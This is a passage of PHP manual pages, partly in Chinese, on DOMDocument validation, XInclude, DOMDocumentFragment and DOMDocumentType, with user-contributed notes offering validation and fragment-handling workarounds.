Solution: As libxml 2.7.3 is not provided for Debian Lenny yet and this problem seems to be caused by DOM (s.o.), I currently use the following workaround on my machines. DOM obviously has some namespace problems with documents, that have been created manually (i.e. they were not loaded from a file).

So my workaround is saving the DOMDocument temporarily, re-loading it and then validating the temporary DOMDocument. Strangely enough the validation of the same document (= same content) now works. Sure, creating a temporary file is not a nice solution, but unless this bug is fixed, this workaround should do just fine.

<?php

// Works with libxml 2.7.3 and higher.
public function isValid()
{
  return $this->dom->schemaValidate('schema.xsd');
}

// Workaround for prior libxml versions, e.g. 2.6.32.
public function isValid()
{
  // Create temporary file and save manually created DOMDocument.
  $tempFile = time() . '-' . rand() . '-document.tmp';
  $this->dom->save($tempFile);

  // Create temporary DOMDocument and re-load content from file.
  $tempDom = new DOMDocument();
  $tempDom->load($tempFile);

  // Delete temporary file.
  if (is_file($tempFile))
  {
    unlink($tempFile);
  }

  // Validate temporary DOMDocument.
  return $tempDom->schemaValidate('schema.xsd');
}

?>
poletto at jeuxvideo dot com 13-Feb-2008 12:32
I had a tricky issue using this method, i thought it was bug but i realized i misundestood something about namespaces.
When you want to use a schema to describe an xml document, you basically put the default namespace to a personnal namespace (and you refer to this namespace in the targetNamespace attribute of your schema).

<?xml version="1.0" encoding="utf-8"?>
<root xmlns="http://my.uri.net">
  <elt>
    <x>blabla</x>
    <y>blabla</y>
  </elt>
</root>

That xmlns attribute specifies a "default namespace" and means that the root element and its children are in this namespace.
What i misunderstood is that, there's no way with the DOM api to specify a "default namespace" for each children of the root element.
Thus you may need to use createElementNS() and createAttributeNS() methods for each created element or attribute in the document specifying the URI of your namespace each time ("http://my.uri.net").

This only applies if you want to validate a document built with the API, not with a document loaded from an xml file or stream.
justin at redwiredesign dot com 08-Nov-2006 03:32
In his previous comment, Mike A wrote about validating documents using an XSD. However, you can validate without one. In my case, I needed to ensure that the content entered was just valid XML or not, and I couldn't find an XSD to support that. So I wrote this:

public static function validate($xml)
{
    libxml_use_internal_errors(true);

    $doc = new DOMDocument('1.0', 'utf-8');
    $doc->loadXML($xml);

    $errors = libxml_get_errors();
    if (empty($errors))
    {
        return true;
    }

    $error = $errors[0];
    if ($error->level < 3)
    {
        return true;
    }

    $lines = explode("\r", $xml);
    $line = $lines[($error->line)-1];

    $message = $error->message.' at line '.$error->line.':<br />'.htmlentities($line);

    return $message;
}

The catch here is that the function only checks for the first error is LIBXML_ERR_FATAL, which would break XSL/XML compilation.

In my experience, the errors are returned by libxml_get_errors in descending severity, so this may be an OK thing to do.
Mike A. 17-Feb-2006 12:03
For more detailed feedback from DOMDocument::schemaValidate, disable libxml errors and fetch error information yourself.  See http://php.net/manual/en/ref.libxml.php for more info.

example.xml
<?xml version="1.0"?>
<example>
    <child_string>This is an example.</child_string>
    <child_integer>Error condition.</child_integer>
</example>

example.xsd
<?xml version="1.0"?>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"
elementFormDefault="qualified">
    <xs:element name="example">
        <xs:complexType>
            <xs:sequence>
                <xs:element name="child_string" type="xs:string"/>
                <xs:element name="child_integer" type="xs:integer"/>
            </xs:sequence>
        </xs:complexType>
    </xs:element>
</xs:schema>

<?php

function libxml_display_error($error)
{
    $return = "<br/>\n";
    switch ($error->level) {
        case LIBXML_ERR_WARNING:
            $return .= "<b>Warning $error->code</b>: ";
            break;
        case LIBXML_ERR_ERROR:
            $return .= "<b>Error $error->code</b>: ";
            break;
        case LIBXML_ERR_FATAL:
            $return .= "<b>Fatal Error $error->code</b>: ";
            break;
    }
    $return .= trim($error->message);
    if ($error->file) {
        $return .=    " in <b>$error->file</b>";
    }
    $return .= " on line <b>$error->line</b>\n";

    return $return;
}

function libxml_display_errors() {
    $errors = libxml_get_errors();
    foreach ($errors as $error) {
        print libxml_display_error($error);
    }
    libxml_clear_errors();
}

// Enable user error handling
libxml_use_internal_errors(true);

$xml = new DOMDocument();
$xml->load('example.xml');

if (!$xml->schemaValidate('example.xsd')) {
    print '<b>DOMDocument::schemaValidate() Generated Errors!</b>';
    libxml_display_errors();
}

?>

Old error message:
Warning: DOMDocument::schemaValidate() [function.schemaValidate]: Element 'child_integer': 'Error condition.' is not a valid value of the atomic type 'xs:integer'. in example.php on line 40

New error message:
DOMDocument::schemaValidate() Generated Errors!
Error 1824: Element 'child_integer': 'Error condition.' is not a valid value of the atomic type 'xs:integer'. in example.xml on line 4


Validates a document based on a schema

  • ? DOMDocument::schemaValidate
  • DOMDocument::validate ?
  • PHP Manual
  • DOMDocument
  • Validates a document based on a schema

DOMDocument::schemaValidateSource

(PHP 5, PHP 7, PHP 8)

DOMDocument::schemaValidateSource — Validates a document based on a schema

说明

public DOMDocument::schemaValidateSource(string $source, int $flags = 0): bool

Validates a document based on a schema defined in the given string.

参数

source

A string containing the schema.

flags

A bitmask of Libxml schema validation flags. Currently the only supported value is LIBXML_SCHEMA_CREATE. Available since Libxml 2.6.14.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • DOMDocument::schemaValidate() - Validates a document based on a schema. Only XML Schema 1.0 is supported.
  • DOMDocument::relaxNGValidate() - Performs relaxNG validation on the document
  • DOMDocument::relaxNGValidateSource() - Performs relaxNG validation on the document
  • DOMDocument::validate() - Validates the document based on its DTD

User Contributed Notes

There are no user contributed notes for this page.


Validates the document based on its DTD

  • ? DOMDocument::schemaValidateSource
  • DOMDocument::xinclude ?
  • PHP Manual
  • DOMDocument
  • Validates the document based on its DTD

DOMDocument::validate

(PHP 5, PHP 7, PHP 8)

DOMDocument::validate — Validates the document based on its DTD

说明

public DOMDocument::validate(): bool

Validates the document based on its DTD.

You can also use the validateOnParse property of DOMDocument to make a DTD validation.

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。 If the document has no DTD attached, this method will return false.

示例

Example #1 Example of DTD validation

<?php
$dom = new DOMDocument;
$dom->load('book.xml');
if ($dom->validate()) {
echo "This document is valid!\n";
}
?>

You can also validate your XML file while loading it:

<?php
$dom = new DOMDocument;
$dom->validateOnParse = true;
$dom->load('book.xml');
?>

参见

  • DOMDocument::schemaValidate() - Validates a document based on a schema. Only XML Schema 1.0 is supported.
  • DOMDocument::schemaValidateSource() - Validates a document based on a schema
  • DOMDocument::relaxNGValidate() - Performs relaxNG validation on the document
  • DOMDocument::relaxNGValidateSource() - Performs relaxNG validation on the document

User Contributed Notes

cabral dot brc at gmail dot com 08-Sep-2010 12:46
I was trying to validate my SVG file just to get the IDs with getElementById(),

<?xml version="1.0"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<text id="text_titulo" x="150" y="20" font-family="Arial" font-size="15px" style="font-weight:bold;">Title</text>
<text id="text_subtitulo" x="200" y="35" font-family="Arial" font-size="10px">Sub Title</text>
<g transform="translate(0,50) scale(0.1)">
  <a id="a_AC" ...... >
    <polygon id="polygon_AC" ....... />
  </a>
</g>
</svg>

but when calling $dom->load(), it was getting the errors "failed to open stream" and "Validation failed: no DTD found !I/O warning : failed to load external entity"
so I created my own validation wrapper (I just want to find the IDs with getElementById() )

<?php
  $docSVG = new DOMDocument();
  $docSVG->load(realpath($filepath));
  setAllId($docSVG);

function setAllId($DOMNode){
  if($DOMNode->hasChildNodes()){
    foreach ($DOMNode->childNodes as $DOMElement) {
      if($DOMElement->hasAttributes()){
        $id=$DOMElement->getAttribute("id");
        if($id){
          $DOMElement->setIdAttribute("id",$id);
        }
      }
      setAllId($DOMElement);
    }
  }
}
?>
a dot schaffhirt at sedna-soft dot de 17-Sep-2008 02:22
When validating documents with this method there are two issues I don't like about it. First, it creates a bunch of warnings, which one would not expect, as the plot of calling this method is preventing any warnings that could occur when erroneously relying on the document's validity. Second, it only returns a boolean with no chance of getting additional details about the reasons for rendering invalid.

That's the reason for me to use a little wrapper, which I post here in case anyone finds it useful.

Please note that it only works with PHP5 or later.

<?php
    class MyDOMDocument {
        private $_delegate;
        private $_validationErrors;

        public function __construct (DOMDocument $pDocument) {
            $this->_delegate = $pDocument;
            $this->_validationErrors = array();
        }

        public function __call ($pMethodName, $pArgs) {
            if ($pMethodName == "validate") {
                $eh = set_error_handler(array($this, "onValidateError"));
                $rv = $this->_delegate->validate();
                if ($eh) {
                    set_error_handler($eh);
                }
                return $rv;
            }
            else {
                return call_user_func_array(array($this->_delegate, $pMethodName), $pArgs);
            }
        }
        public function __get ($pMemberName) {
            if ($pMemberName == "errors") {
                return $this->_validationErrors;
            }
            else {
                return $this->_delegate->$pMemberName;
            }
        }
        public function __set ($pMemberName, $pValue) {
            $this->_delegate->$pMemberName = $pValue;
        }
        public function onValidateError ($pNo, $pString, $pFile = null, $pLine = null, $pContext = null) {
            $this->_validationErrors[] = preg_replace("/^.+: */", "", $pString);
        }
    }
?>

<?php
    // $doc is a DOMDocument object
    $myDoc = new MyDOMDocument($doc); // copy constructor

    // do anything with $myDoc that you would with $doc

    $isValid = $myDoc->validate(); // won't create warnings
    if (!$isValid) {
        print_r($myDoc->errors); // the array all warnings are collected in
    }
?>

Maybe you need to change the the part
preg_replace("/^.+: */", "", $pString)
to something different depending on your system's error reporting settings (HTML or plain text), whatsoever

Best Regards,

Anja
darren at viamedia dot co dot za 05-Aug-2008 07:19
If you are loading xml with the intention of validating it against an internal dtd and you have experienced issues with the validation it could be related to missing LIBXML constants.

I found this post by "aidan at php dot net" in root level dom docs and thought it might be more useful here:
As of PHP 5.1, libxml options may be set using constants rather than the use of proprietary DomDocument properties.

DomDocument->resolveExternals is equivilant to setting
LIBXML_DTDLOAD
LIBXML_DTDATTR

DomDocument->validateOnParse is equivilant to setting
LIBXML_DTDLOAD
LIBXML_DTDVALID

PHP 5.1 users are encouraged to use the new constants.

Example:
<?php
$dom = new DOMDocument;
// Resolve externals
$dom->load($file, LIBXML_DTDLOAD|LIBXML_DTDATTR);
// OR
// Validate against DTD
$dom->load($file, LIBXML_DTDLOAD|LIBXML_DTDVALID);
$dom->validate();
?>


Substitutes XIncludes in a DOMDocument Object

  • ? DOMDocument::validate
  • DOMDocumentFragment ?
  • PHP Manual
  • DOMDocument
  • Substitutes XIncludes in a DOMDocument Object

DOMDocument::xinclude

(PHP 5, PHP 7, PHP 8)

DOMDocument::xinclude — Substitutes XIncludes in a DOMDocument Object

说明

public DOMDocument::xinclude(int $options = 0): int|false

This method substitutes » XIncludes in a DOMDocument object.

Note:

Due to libxml2 automatically resolving entities, this method will produce unexpected results if the included XML file have an attached DTD.

参数

options

Bitwise OR of the libxml option constants.

返回值

Returns the number of XIncludes in the document, -1 if some processing failed, or false if there were no substitutions.

示例

Example #1 DOMDocument::xinclude() example

<?php

$xml = <<<EOD
<?xml version="1.0" ?>
<chapter xmlns:xi="http://www.w3.org/2001/XInclude">
<title>Books of the other guy..</title>
<para>
<xi:include href="book.xml">
<xi:fallback>
<error>xinclude: book.xml not found</error>
</xi:fallback>
</xi:include>
</para>
</chapter>
EOD;

$dom = new DOMDocument;

// let's have a nice output
$dom->preserveWhiteSpace = false;
$dom->formatOutput = true;

// load the XML string defined above
$dom->loadXML($xml);

// substitute xincludes
$dom->xinclude();

echo $dom->saveXML();

?>

以上示例的输出类似于：

<?xml version="1.0"?>
<chapter xmlns:xi="http://www.w3.org/2001/XInclude">
  <title>Books of the other guy..</title>
  <para>
    <row xml:base="/home/didou/book.xml">
       <entry>The Grapes of Wrath</entry>
       <entry>John Steinbeck</entry>
       <entry>en</entry>
       <entry>0140186409</entry>
      </row>
    <row xml:base="/home/didou/book.xml">
       <entry>The Pearl</entry>
       <entry>John Steinbeck</entry>
       <entry>en</entry>
       <entry>014017737X</entry>
      </row>
    <row xml:base="/home/didou/book.xml">
       <entry>Samarcande</entry>
       <entry>Amine Maalouf</entry>
       <entry>fr</entry>
       <entry>2253051209</entry>
      </row>
  </para>
</chapter>

User Contributed Notes

nicolas_rainardNOSPAM at yahoo dot fr 12-Jul-2007 04:56
If you use the loadXML() method instead of the load() one (let's say, to process the XML string before loading and parsing it), you will have problems with xinclude(), because the parser will not know where to find the files to include.
Using chdir() before xinclude() will not help.

The solution is to set the documentURI property of the DOMDocument object accordingly to it's original filename, and everything will work fine !

<?php

$xml = file_get_contents($file);
$xml = do_something_with($xml);

$doc = new DOMDocument;
$doc->documentURI = $file;
$doc->loadXML($xml);
$doc->xinclude();

?>


The DOMDocumentFragment class

(PHP 5, PHP 7, PHP 8)

类摘要

class DOMDocumentFragment extends DOMNode implements DOMParentNode {
/* 属性 */
public readonly ?DOMElement $firstElementChild;
public readonly ?DOMElement $lastElementChild;
public readonly int $childElementCount;
/* 继承的属性 */
public readonly string $nodeName;
public ?string $nodeValue;
public readonly int $nodeType;
public readonly ?DOMNode $parentNode;
public readonly ?DOMElement $parentElement;
public readonly DOMNodeList $childNodes;
public readonly ?DOMNode $firstChild;
public readonly ?DOMNode $lastChild;
public readonly ?DOMNode $previousSibling;
public readonly ?DOMNode $nextSibling;
public readonly ?DOMNamedNodeMap $attributes;
public readonly bool $isConnected;
public readonly ?DOMDocument $ownerDocument;
public readonly ?string $namespaceURI;
public string $prefix;
public readonly ?string $localName;
public readonly ?string $baseURI;
public string $textContent;
/* 方法 */
public __construct()
public append(DOMNode|string ...$nodes): void
public appendXML(string $data): bool
public prepend(DOMNode|string ...$nodes): void
public replaceChildren(DOMNode|string ...$nodes): void
/* 继承的方法 */
public DOMNode::appendChild(DOMNode $node): DOMNode|false
public DOMNode::C14N(
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): string|false
public DOMNode::C14NFile(
string $uri,
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): int|false
public DOMNode::cloneNode(bool $deep = false): DOMNode|false
public DOMNode::contains(DOMNode|DOMNameSpaceNode|null $other): bool
public DOMNode::getLineNo(): int
public DOMNode::getNodePath(): ?string
public DOMNode::getRootNode(array $options = null): DOMNode
public DOMNode::hasAttributes(): bool
public DOMNode::hasChildNodes(): bool
public DOMNode::insertBefore(DOMNode $node, ?DOMNode $child = null): DOMNode|false
public DOMNode::isDefaultNamespace(string $namespace): bool
public DOMNode::isEqualNode(?DOMNode $otherNode): bool
public DOMNode::isSameNode(DOMNode $otherNode): bool
public DOMNode::isSupported(string $feature, string $version): bool
public DOMNode::lookupNamespaceURI(?string $prefix): ?string
public DOMNode::lookupPrefix(string $namespace): ?string
public DOMNode::normalize(): void
public DOMNode::removeChild(DOMNode $child): DOMNode|false
public DOMNode::replaceChild(DOMNode $node, DOMNode $child): DOMNode|false
}

属性

childElementCount

The number of child elements.

firstElementChild

First child element or null.

lastElementChild

Last child element or null.

更新日志

版本 | 说明
8.0.0 | The firstElementChild, lastElementChild, and childElementCount properties have been added.
8.0.0 | DOMDocumentFragment implements DOMParentNode now.

Table of Contents

  • DOMDocumentFragment::append — Appends nodes after the last child node
  • DOMDocumentFragment::appendXML — Append raw XML data
  • DOMDocumentFragment::__construct — Constructs a DOMDocumentFragment object
  • DOMDocumentFragment::prepend — Prepends nodes before the first child node
  • DOMDocumentFragment::replaceChildren — Replace children in fragment

User Contributed Notes

peter at softcoded dot com 03-May-2017 03:31
DOMDocumentFragment makes it easy to add (or replace)
nodes. Individually creating nodes using DOM methods can
be tedious. Instead, do something like this:

/**
* Create fragment of colgroup
* @param DOMDocument $doc The DOMDocument
* @return DOMDocumentFragment
*/
function makeFragment($d){
  $chunk = <<<HTML
  <colgroup>
    <col class="c1"/>
    <col class="c2"/>
    <col class="c3"/>
    <col class="c4"/>
  </colgroup>
HTML;
  $fragment = $d->createDocumentFragment();
  $fragment->appendXML($chunk);
  return $fragment;
}
Ricki 29-Mar-2011 06:00
DOMDocumentFragment only appears useful if created from a parent DOMDocument eg.

1. $dom = new DOMDocument("1.0","UTF-8");
2. $docFrag = $dom->createDocumentFragment();
3. Now append items to $docFrag
4. Graft $docFrag contents back onto $dom at the desired location

Conversely taking this approach:
1. $dom = new DOMDocument("1.0","UTF-8");
2. $docFrag = new DOMDocumentFragment();
3. Now append items to $docFrag

...will fail on step 3 with a "read only" error as $docFrag is not created as a child of  DOMDocument.

I'm not sure of the reason for this: on the web people have cited security, and others have cited poor design however whatever the reason, it is really limiting when wanting to encapsulating generic independent DocumentFragments into classes for easy grafting to the desired tree. The only workarounds i have seen look expensive from a performance perspective and cumbersome from a coding perspective ie. create a  dummy $dom for temporary use.

(This is valid as of PHP 5.3) I've put this here as i've wasted a lot of time finding it out - I hope this saves others some heartache.

Using new DOMDocumentFramt
matthijs at stdin dot nl 29-Mar-2011 03:06
Note that DOMDocumentFragment is a bit special when it's added to another node. When that happens, not the fragment itself is added as a child, but all of the children of the fragment are moved over to the new parent node.

For example, consider this script:

<?php

/* Create a document and a fragment containing a single node */
$doc = new DOMDocument();
$fragment = $doc->createDocumentFragment();
$fragment->appendChild($doc->createElement('foo'));

/* Now, the foo node is a child of the fragment */
var_dump($fragment->firstChild);

/* After appending the fragment to another node, the children of the
 * fragment will have been transfered to that node (and the fragment is
 * not present in the children list!) */
$doc->appendChild($fragment);
/* So the fragment has no children anymore */
var_dump($fragment->firstChild);
/* But $doc has a single child, which is the foo element, not the
 * fragment */
var_dump($doc->childNodes->length);
var_dump($doc->firstChild);

?>

This produces the following output:

object(DOMElement)#3 (0) {
}
NULL
int(1)
object(DOMElement)#3 (0) {
}


Appends nodes after the last child node

  • ? DOMDocumentFragment
  • DOMDocumentFragment::appendXML ?
  • PHP Manual
  • DOMDocumentFragment
  • Appends nodes after the last child node

DOMDocumentFragment::append

(PHP 8)

DOMDocumentFragment::append — Appends nodes after the last child node

说明

public DOMDocumentFragment::append(DOMNode|string ...$nodes): void

Appends one or many nodes to the list of children after the last child node.

参数

nodes

The nodes to append. Strings are automatically converted to text nodes.

返回值

没有返回值。

错误／异常

DOM_HIERARCHY_REQUEST_ERR

Raised if this node is of a type that does not allow children of the type of one of the passed nodes, or if the node to put in is one of this node's ancestors or this node itself.

DOM_WRONG_DOCUMENT_ERR

Raised if one of the passed nodes was created from a different document than the one that created this node.

更新日志

版本 | 说明
8.3.0 | Calling this method on a node without an owner document now works. Previously this threw a DOMException with code DOM_HIERARCHY_REQUEST_ERR.

示例

Example #1 DOMDocumentFragment::append() example

Appends nodes in the fragment.

<?php
$doc = new DOMDocument;
$fragment = $doc->createDocumentFragment();
$fragment->appendChild($doc->createElement("hello"));

$fragment->append("beautiful", $doc->createElement("world"));

echo $doc->saveXML($fragment);
?>

以上示例会输出：

<hello/>beautiful<world/>

参见

  • DOMParentNode::append() - Appends nodes after the last child node
  • DOMDocumentFragment::prepend() - Prepends nodes before the first child node

User Contributed Notes

There are no user contributed notes for this page.


Append raw XML data

  • ? DOMDocumentFragment::append
  • DOMDocumentFragment::__construct ?
  • PHP Manual
  • DOMDocumentFragment
  • Append raw XML data

DOMDocumentFragment::appendXML

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

DOMDocumentFragment::appendXML — Append raw XML data

说明

public DOMDocumentFragment::appendXML(string $data): bool

Appends raw XML data to a DOMDocumentFragment.

This method is not part of the DOM standard. It was created as a simpler approach for appending an XML DocumentFragment in a DOMDocument.

If you want to stick to the standards, you will have to create a temporary DOMDocument with a dummy root and then loop through the child nodes of the root of your XML data to append them.

参数

data

XML to append.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Appending XML data to your document

<?php
$doc = new DOMDocument();
$doc->loadXML("<root/>");
$f = $doc->createDocumentFragment();
$f->appendXML("<foo>text</foo><bar>text2</bar>");
$doc->documentElement->appendChild($f);
echo $doc->saveXML();
?>

以上示例会输出：

<?xml version="1.0"?>
<root><foo>text</foo><bar>text2</bar></root>

User Contributed Notes

Thanks to Christoph. 07-Jun-2022 01:50
Strings such as " ' & < > may need to be escaped in advance.
In that case, you can use htmlspecialchars().
lpetrov(AT)axisvista.com 20-Jul-2007 05:45
Here is (maybe) a better example:
/**
* Helper function for replacing $node (DOMNode)
* with an XML code (string)
*
* @var DOMNode $node
* @var string $xml
*/
public function replaceNodeXML(&$node,$xml) {
 $f = $this->dom->createDocumentFragment();
 $f->appendXML($xml);
 $node->parentNode->replaceChild($f,$node);
}

Copied from the "PHP5 Dom Based Template" article at:
http://blog.axisvista.com/?p=35


Constructs a DOMDocumentFragment object

  • ? DOMDocumentFragment::appendXML
  • DOMDocumentFragment::prepend ?
  • PHP Manual
  • DOMDocumentFragment
  • Constructs a DOMDocumentFragment object

DOMDocumentFragment::__construct

(PHP 5, PHP 7, PHP 8)

DOMDocumentFragment::__construct — Constructs a DOMDocumentFragment object

说明

public DOMDocumentFragment::__construct()

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Prepends nodes before the first child node

  • ? DOMDocumentFragment::__construct
  • DOMDocumentFragment::replaceChildren ?
  • PHP Manual
  • DOMDocumentFragment
  • Prepends nodes before the first child node

DOMDocumentFragment::prepend

(PHP 8)

DOMDocumentFragment::prepend — Prepends nodes before the first child node

说明

public DOMDocumentFragment::prepend(DOMNode|string ...$nodes): void

Prepends one or many nodes to the list of children before the first child node.

参数

nodes

The nodes to prepend. Strings are automatically converted to text nodes.

返回值

没有返回值。

错误／异常

DOM_HIERARCHY_REQUEST_ERR

Raised if this node is of a type that does not allow children of the type of one of the passed nodes, or if the node to put in is one of this node's ancestors or this node itself.

DOM_WRONG_DOCUMENT_ERR

Raised if one of the passed nodes was created from a different document than the one that created this node.

更新日志

版本 | 说明
8.3.0 | Calling this method on a node without an owner document now works. Previously this threw a DOMException with code DOM_HIERARCHY_REQUEST_ERR.

示例

Example #1 DOMDocumentFragment::prepend() example

Prepends nodes before the fragment root.

<?php
$doc = new DOMDocument;
$fragment = $doc->createDocumentFragment();
$fragment->appendChild($doc->createElement("world"));

$fragment->prepend($doc->createElement("hello"), "beautiful");

echo $doc->saveXML($fragment);
?>

以上示例会输出：

<hello/>beautiful<world/>

参见

  • DOMParentNode::prepend() - Prepends nodes before the first child node
  • DOMDocumentFragment::append() - Appends nodes after the last child node

User Contributed Notes

There are no user contributed notes for this page.


Replace children in fragment

  • ? DOMDocumentFragment::prepend
  • DOMDocumentType ?
  • PHP Manual
  • DOMDocumentFragment
  • Replace children in fragment

DOMDocumentFragment::replaceChildren

(PHP 8 >= 8.3.0)

DOMDocumentFragment::replaceChildren — Replace children in fragment

说明

public DOMDocumentFragment::replaceChildren(DOMNode|string ...$nodes): void

Replaces the children in the document fragment with new nodes.

参数

nodes

The nodes replacing the children. Strings are automatically converted to text nodes.

返回值

没有返回值。

错误／异常

DOM_HIERARCHY_REQUEST_ERR

Raised if this node is of a type that does not allow children of the type of one of the passed nodes, or if the node to put in is one of this node's ancestors or this node itself.

DOM_WRONG_DOCUMENT_ERR

Raised if one of the passed nodes was created from a different document than the one that created this node.

更新日志

版本 | 说明
8.3.0 | Calling this method on a node without an owner document now works. Previously this threw a DOMException with code DOM_HIERARCHY_REQUEST_ERR.

示例

Example #1 DOMDocumentFragment::replaceChildren() example

Replaces the children with new nodes.

<?php
$doc = new DOMDocument;
$doc->loadXML("<container><hello/></container>");
$fragment = $doc->createDocumentFragment();
$fragment->append("hello");

$fragment->replaceWith("beautiful", $doc->createElement("world"));

echo $doc->saveXML($fragment);
?>

以上示例会输出：

beautiful
<world/>

参见

  • DOMParentNode::replaceChildren() - Replace children in node
  • DOMDocumentFragment::append() - Appends nodes after the last child node
  • DOMDocumentFragment::prepend() - Prepends nodes before the first child node

User Contributed Notes

There are no user contributed notes for this page.


The DOMDocumentType class

(PHP 5, PHP 7, PHP 8)

简介

Each DOMDocument has a doctype attribute whose value is either null or a DOMDocumentType object.

类摘要

class DOMDocumentType extends DOMNode {
/* 属性 */
public readonly string $name;
public readonly DOMNamedNodeMap $entities;
public readonly DOMNamedNodeMap $notations;
public readonly string $publicId;
public readonly string $systemId;
public readonly ?string $internalSubset;
/* 继承的属性 */
public readonly string $nodeName;
public ?string $nodeValue;
public readonly int $nodeType;
public readonly ?DOMNode $parentNode;
public readonly ?DOMElement $parentElement;
public readonly DOMNodeList $childNodes;
public readonly ?DOMNode $firstChild;
public readonly ?DOMNode $lastChild;
public readonly ?DOMNode $previousSibling;
public readonly ?DOMNode $nextSibling;
public readonly ?DOMNamedNodeMap $attributes;
public readonly bool $isConnected;
public readonly ?DOMDocument $ownerDocument;
public readonly ?string $namespaceURI;
public string $prefix;
public readonly ?string $localName;
public readonly ?string $baseURI;
public string $textContent;
/* 继承的方法 */
public DOMNode::appendChild(DOMNode $node): DOMNode|false
public DOMNode::C14N(
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): string|false
public DOMNode::C14NFile(
string $uri,
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): int|false
public DOMNode::cloneNode(bool $deep = false): DOMNode|false
public DOMNode::contains(DOMNode|DOMNameSpaceNode|null $other): bool
public DOMNode::getLineNo(): int
public DOMNode::getNodePath(): ?string
public DOMNode::getRootNode(array $options = null): DOMNode
public DOMNode::hasAttributes(): bool
public DOMNode::hasChildNodes(): bool
public DOMNode::insertBefore(DOMNode $node, ?DOMNode $child = null): DOMNode|false
public DOMNode::isDefaultNamespace(string $namespace): bool
public DOMNode::isEqualNode(?DOMNode $otherNode): bool
public DOMNode::isSameNode(DOMNode $otherNode): bool
public DOMNode::isSupported(string $feature, string $version): bool
public DOMNode::lookupNamespaceURI(?string $prefix): ?string
public DOMNode::lookupPrefix(string $namespace): ?string
public DOMNode::normalize(): void
public DOMNode::removeChild(DOMNode $child): DOMNode|false
public DOMNode::replaceChild(DOMNode $node, DOMNode $child): DOMNode|false
}

属性

publicId

The public identifier of the external subset.

systemId

The system identifier of the external subset. This may be an absolute URI or not.

name

The name of DTD; i.e., the name immediately following the DOCTYPE keyword.

entities

A DOMNamedNodeMap containing the general entities, both external and internal, declared in the DTD.

notations

A DOMNamedNodeMap containing the notations declared in the DTD.

internalSubset

The internal subset as a string, or null if there is none. This does not contain the delimiting square brackets.

User Contributed Notes

There are no user contributed notes for this page.


The DOMElement class

(PHP 5, PHP 7, PHP 8)

类摘要

class DOMElement extends DOMNode implements DOMParentNode, DOMChildNode {
/* 属性 */
public readonly string $tagName;
public string $className;
public string $id;
public readonly mixed $schemaTypeInfo = null;
public readonly ?DOMElement $firstElementChild;
public readonly ?DOMElement $lastElementChild;
public readonly int $childElementCount;
public readonly ?DOMElement $previousElementSibling;
public readonly ?DOMElement $nextElementSibling;
/* 继承的属性 */
public readonly string $nodeName;
public ?string $nodeValue;
public readonly int $nodeType;
public readonly ?DOMNode $parentNode;
public readonly ?DOMElement $parentElement;
public readonly DOMNodeList $childNodes;
public readonly ?DOMNode $firstChild;
public readonly ?DOMNode $lastChild;
public readonly ?DOMNode $previousSibling;
public readonly ?DOMNode $nextSibling;
public readonly ?DOMNamedNodeMap $attributes;
public readonly bool $isConnected;
public readonly ?DOMDocument $ownerDocument;
public readonly ?string $namespaceURI;
public string $prefix;
public readonly ?string $localName;
public readonly ?string $baseURI;
public string $textContent;
/* 方法 */
public __construct(string $qualifiedName, ?string $value = null, string $namespace = "")
public after(DOMNode|string ...$nodes): void
public append(DOMNode|string ...$nodes): void
public before(DOMNode|string ...$nodes): void
public getAttribute(string $qualifiedName): string
public getAttributeNames(): array
public getAttributeNode(string $qualifiedName): DOMAttr|DOMNameSpaceNode|false
public getAttributeNodeNS(?string $namespace, string $localName): DOMAttr|DOMNameSpaceNode|null
public getAttributeNS(?string $namespace, string $localName): string
public getElementsByTagName(string $qualifiedName): DOMNodeList
public getElementsByTagNameNS(?string $namespace, string $localName): DOMNodeList
public hasAttribute(string $qualifiedName): bool
public hasAttributeNS(?string $namespace, string $localName): bool
public insertAdjacentElement(string $where, DOMElement $element): ?DOMElement
public insertAdjacentText(string $where, string $data): void
public prepend(DOMNode|string ...$nodes): void
public remove(): void
public removeAttribute(string $qualifiedName): bool
public removeAttributeNode(DOMAttr $attr): DOMAttr|false
public removeAttributeNS(?string $namespace, string $localName): void
public replaceChildren(DOMNode|string ...$nodes): void
public replaceWith(DOMNode|string ...$nodes): void
public setAttribute(string $qualifiedName, string $value): DOMAttr|bool
public setAttributeNode(DOMAttr $attr): DOMAttr|null|false
public setAttributeNodeNS(DOMAttr $attr): DOMAttr|null|false
public setAttributeNS(?string $namespace, string $qualifiedName, string $value): void
public setIdAttribute(string $qualifiedName, bool $isId): void
public setIdAttributeNode(DOMAttr $attr, bool $isId): void
public setIdAttributeNS(string $namespace, string $qualifiedName, bool $isId): void
public toggleAttribute(string $qualifiedName, ?bool $force = null): bool
/* 继承的方法 */
public DOMNode::appendChild(DOMNode $node): DOMNode|false
public DOMNode::C14N(
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): string|false
public DOMNode::C14NFile(
string $uri,
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): int|false
public DOMNode::cloneNode(bool $deep = false): DOMNode|false
public DOMNode::contains(DOMNode|DOMNameSpaceNode|null $other): bool
public DOMNode::getLineNo(): int
public DOMNode::getNodePath(): ?string
public DOMNode::getRootNode(array $options = null): DOMNode
public DOMNode::hasAttributes(): bool
public DOMNode::hasChildNodes(): bool
public DOMNode::insertBefore(DOMNode $node, ?DOMNode $child = null): DOMNode|false
public DOMNode::isDefaultNamespace(string $namespace): bool
public DOMNode::isEqualNode(?DOMNode $otherNode): bool
public DOMNode::isSameNode(DOMNode $otherNode): bool
public DOMNode::isSupported(string $feature, string $version): bool
public DOMNode::lookupNamespaceURI(?string $prefix): ?string
public DOMNode::lookupPrefix(string $namespace): ?string
